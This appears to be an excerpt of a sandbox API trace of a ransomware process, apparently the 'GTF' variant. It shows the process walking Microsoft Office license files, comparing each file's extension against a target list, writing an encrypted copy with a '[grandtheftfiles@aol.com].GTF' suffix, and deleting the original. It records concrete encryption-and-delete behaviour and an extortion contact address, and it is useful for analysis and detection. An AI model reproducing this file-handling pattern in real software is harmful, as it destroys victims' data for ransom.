	[0175.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0175.957] lstrlenW (lpString=".doc") returned 4
	[0175.957] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.957] lstrlenW (lpString=".docx") returned 5
	[0176.042] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.042] lstrlenW (lpString=".pdf") returned 4
	[0176.042] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.042] lstrlenW (lpString=".xls") returned 4
	[0176.042] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.042] lstrlenW (lpString=".xlsx") returned 5
	[0176.042] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.042] lstrlenW (lpString=".ppt") returned 4
	[0176.042] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0176.042] lstrlenW (lpString=".zip") returned 4
	[0176.042] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.042] lstrlenW (lpString=".rar") returned 4
	[0176.042] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.042] lstrlenW (lpString=".bz2") returned 4
	[0176.042] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.042] lstrlenW (lpString=".7z") returned 3
	[0176.042] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0176.042] lstrlenW (lpString=".dbf") returned 4
	[0176.042] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0176.042] lstrlenW (lpString=".1cd") returned 4
	[0176.042] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0176.042] lstrlenW (lpString=".jpg") returned 4
	[0176.042] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.043] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0176.043] lstrlenW (lpString="MondoR_Trial-pl.xrm-ms") returned 22
	[0176.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0176.106] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11139) returned 1
	[0176.106] CloseHandle (hObject=0x48c) returned 1
	[0176.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 0x220
	[0176.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0176.107] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.107] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0176.108] GetLastError () returned 0x0
	[0176.108] ReadFile (in: hFile=0x48c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2b83, lpOverlapped=0x0) returned 1
	[0176.167] WriteFile (in: hFile=0x574, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0176.168] ReadFile (in: hFile=0x48c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.168] WriteFile (in: hFile=0x574, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x100, lpOverlapped=0x0) returned 1
	[0176.169] SetEndOfFile (hFile=0x574) returned 1
	[0176.180] CloseHandle (hObject=0x574) returned 1
	[0176.185] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.185] SetEndOfFile (hFile=0x48c) returned 1
	[0176.307] CloseHandle (hObject=0x48c) returned 1
	[0176.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 1
	[0176.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0176.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0176.566] lstrlenW (lpString=".doc") returned 4
	[0176.566] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.566] lstrlenW (lpString=".docx") returned 5
	[0176.566] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.566] lstrlenW (lpString=".pdf") returned 4
	[0176.566] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.566] lstrlenW (lpString=".xls") returned 4
	[0176.566] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.566] lstrlenW (lpString=".xlsx") returned 5
	[0176.566] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.566] lstrlenW (lpString=".ppt") returned 4
	[0176.566] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0176.567] lstrlenW (lpString=".zip") returned 4
	[0176.567] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.567] lstrlenW (lpString=".rar") returned 4
	[0176.567] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.567] lstrlenW (lpString=".bz2") returned 4
	[0176.567] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.567] lstrlenW (lpString=".7z") returned 3
	[0176.567] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0176.567] lstrlenW (lpString=".dbf") returned 4
	[0176.567] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0176.567] lstrlenW (lpString=".1cd") returned 4
	[0176.567] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0176.567] lstrlenW (lpString=".jpg") returned 4
	[0176.567] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0176.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0176.567] lstrlenW (lpString=".doc") returned 4
	[0176.567] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.567] lstrlenW (lpString=".docx") returned 5
	[0176.567] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.567] lstrlenW (lpString=".pdf") returned 4
	[0176.567] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.567] lstrlenW (lpString=".xls") returned 4
	[0176.567] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.567] lstrlenW (lpString=".xlsx") returned 5
	[0176.567] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.567] lstrlenW (lpString=".ppt") returned 4
	[0176.567] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0176.567] lstrlenW (lpString=".zip") returned 4
	[0176.568] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.568] lstrlenW (lpString=".rar") returned 4
	[0176.568] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.568] lstrlenW (lpString=".bz2") returned 4
	[0176.568] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.568] lstrlenW (lpString=".7z") returned 3
	[0176.568] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0176.568] lstrlenW (lpString=".dbf") returned 4
	[0176.568] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0176.568] lstrlenW (lpString=".1cd") returned 4
	[0176.568] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0176.568] lstrlenW (lpString=".jpg") returned 4
	[0176.568] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.568] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0176.568] lstrlenW (lpString="MondoVL_KMS_Client-ul.xrm-ms") returned 28
	[0176.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0176.852] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=9601) returned 1
	[0176.852] CloseHandle (hObject=0x374) returned 1
	[0176.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms")) returned 0x220
	[0177.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0177.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.476] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.476] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.477] GetLastError () returned 0x0
	[0178.477] ReadFile (in: hFile=0x548, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2581, lpOverlapped=0x0) returned 1
	[0178.479] WriteFile (in: hFile=0x558, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2590, lpOverlapped=0x0) returned 1
	[0178.481] ReadFile (in: hFile=0x548, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.481] WriteFile (in: hFile=0x558, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0178.481] SetEndOfFile (hFile=0x558) returned 1
	[0178.481] CloseHandle (hObject=0x558) returned 1
	[0178.482] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.482] SetEndOfFile (hFile=0x548) returned 1
	[0178.484] CloseHandle (hObject=0x548) returned 1
	[0178.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms")) returned 1
	[0178.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0178.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0178.486] lstrlenW (lpString=".doc") returned 4
	[0178.486] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.486] lstrlenW (lpString=".docx") returned 5
	[0178.486] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.486] lstrlenW (lpString=".pdf") returned 4
	[0178.486] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.486] lstrlenW (lpString=".xls") returned 4
	[0178.486] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.486] lstrlenW (lpString=".xlsx") returned 5
	[0178.486] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.486] lstrlenW (lpString=".ppt") returned 4
	[0178.486] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0178.486] lstrlenW (lpString=".zip") returned 4
	[0178.486] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.486] lstrlenW (lpString=".rar") returned 4
	[0178.486] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.486] lstrlenW (lpString=".bz2") returned 4
	[0178.486] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.486] lstrlenW (lpString=".7z") returned 3
	[0178.486] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0178.487] lstrlenW (lpString=".dbf") returned 4
	[0178.487] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0178.487] lstrlenW (lpString=".1cd") returned 4
	[0178.487] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0178.487] lstrlenW (lpString=".jpg") returned 4
	[0178.487] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0178.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0178.487] lstrlenW (lpString=".doc") returned 4
	[0178.487] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.487] lstrlenW (lpString=".docx") returned 5
	[0178.487] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.487] lstrlenW (lpString=".pdf") returned 4
	[0178.487] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.487] lstrlenW (lpString=".xls") returned 4
	[0178.487] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.487] lstrlenW (lpString=".xlsx") returned 5
	[0178.487] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.487] lstrlenW (lpString=".ppt") returned 4
	[0178.487] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0178.487] lstrlenW (lpString=".zip") returned 4
	[0178.487] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.487] lstrlenW (lpString=".rar") returned 4
	[0178.487] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.487] lstrlenW (lpString=".bz2") returned 4
	[0178.487] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.487] lstrlenW (lpString=".7z") returned 3
	[0178.487] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0178.488] lstrlenW (lpString=".dbf") returned 4
	[0178.488] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0178.488] lstrlenW (lpString=".1cd") returned 4
	[0178.488] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0178.488] lstrlenW (lpString=".jpg") returned 4
	[0178.488] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.488] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0178.488] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46
	[0178.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.490] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11674) returned 1
	[0178.490] CloseHandle (hObject=0x548) returned 1
	[0178.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0178.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.927] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.927] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0178.928] GetLastError () returned 0x0
	[0178.928] ReadFile (in: hFile=0x558, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d9a, lpOverlapped=0x0) returned 1
	[0178.933] WriteFile (in: hFile=0x52c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0178.934] ReadFile (in: hFile=0x558, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.934] WriteFile (in: hFile=0x52c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x130, lpOverlapped=0x0) returned 1
	[0178.934] SetEndOfFile (hFile=0x52c) returned 1
	[0178.935] CloseHandle (hObject=0x52c) returned 1
	[0178.935] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.935] SetEndOfFile (hFile=0x558) returned 1
	[0178.937] CloseHandle (hObject=0x558) returned 1
	[0178.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0178.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.939] lstrlenW (lpString=".doc") returned 4
	[0178.939] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.939] lstrlenW (lpString=".docx") returned 5
	[0178.939] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.939] lstrlenW (lpString=".pdf") returned 4
	[0178.939] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.939] lstrlenW (lpString=".xls") returned 4
	[0178.939] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.939] lstrlenW (lpString=".xlsx") returned 5
	[0178.939] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.939] lstrlenW (lpString=".ppt") returned 4
	[0178.939] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.939] lstrlenW (lpString=".zip") returned 4
	[0178.939] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.940] lstrlenW (lpString=".rar") returned 4
	[0178.940] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.940] lstrlenW (lpString=".bz2") returned 4
